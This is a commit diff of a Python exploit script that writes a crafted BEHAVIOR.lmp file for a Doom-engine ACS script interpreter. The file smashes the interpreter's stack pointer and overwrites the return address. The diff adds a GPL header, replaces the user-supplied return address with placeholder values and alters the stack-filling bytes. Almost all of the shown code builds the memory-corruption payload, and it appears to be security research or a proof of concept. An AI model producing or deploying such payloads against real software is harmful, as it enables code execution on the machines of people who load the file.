diff options
Diffstat (limited to 'exploit.py')
| -rw-r--r-- | exploit.py | 39 |
1 files changed, 21 insertions, 18 deletions
@@ -1,5 +1,19 @@ #!/usr/bin/env python +# Copyright (c) 2017 Jakob L. Kreuze +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, version 3. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see <http://www.gnu.org/licenses/>. + import os import struct import sys @@ -9,9 +23,6 @@ import sys # SIZE (Excluding CHUNK and SIZE) [4 bytes] # CONTENTS [SIZE bytes] -# PCD_ASSIGNSCRIPTVAR was chosen because it fits into the single-byte -# opcode size range and doesn't place anything onto the stack. - STACK_SIZE = 0x1000 CODE_HEADER = [0x41, 0x43, 0x53, 0x00] @@ -21,17 +32,10 @@ FOOTTAB_HEADER = [0x41, 0x43, 0x53, 0x65] PCD_NOP = 0 PCD_TERMINATE = 1 PCD_PUSHNUMBER = 3 -PCD_ASSIGNSCRIPTVAR = 25 PCD_PUSHBYTE = 167 -PCD_PUSHBYTES = 175 -PCD_PUSH5BYTES = 179 - -# assert(sp == 0) is only compiled in DEBUG builds. -# You should probably throw some debug prints into the source code, -# finding the address of `Stack`, and the address of the return -# address on the stack. For me, `Stack` is at an offset of 4122 before -# the return address. +# assert(sp == 0) is only compiled in DEBUG builds, so cleaning up the +# stack is not necessary. # Scripts must be aligned to 32 bits. def align_script(code: list) -> list: @@ -40,23 +44,22 @@ def align_script(code: list) -> list: if __name__ == "__main__": - if len(sys.argv) != 3: - sys.stderr.write("usage: {} [RET OFFSET] [RET ADDR]\n".format(sys.argv[0])) + if len(sys.argv) != 2: + sys.stderr.write("usage: {} [RET OFFSET]\n".format(sys.argv[0])) sys.exit(1) desired_offset = int(sys.argv[1]) - return_address = int(sys.argv[2]) dest = "BEHAVIOR.lmp" # Smash stackobj.sp - payload = [PCD_PUSHBYTE] * (STACK_SIZE * 2) + payload = [0x55, 0x58, 0x56] * (STACK_SIZE * 2) # Overwrite stackobj.sp payload += [PCD_PUSHNUMBER] + list(struct.pack("i", desired_offset)) # Smash the return pointer - least_sig = list(struct.pack("Q", return_address))[:4] - most_sig = list(struct.pack("Q", return_address))[4:] + least_sig = list(struct.pack("Q", 0xcafebabe))[:4] + most_sig = list(struct.pack("Q", 0xdeadbeef))[4:] payload += [PCD_PUSHNUMBER] + least_sig + [PCD_PUSHNUMBER] + most_sig payload.append(PCD_TERMINATE) |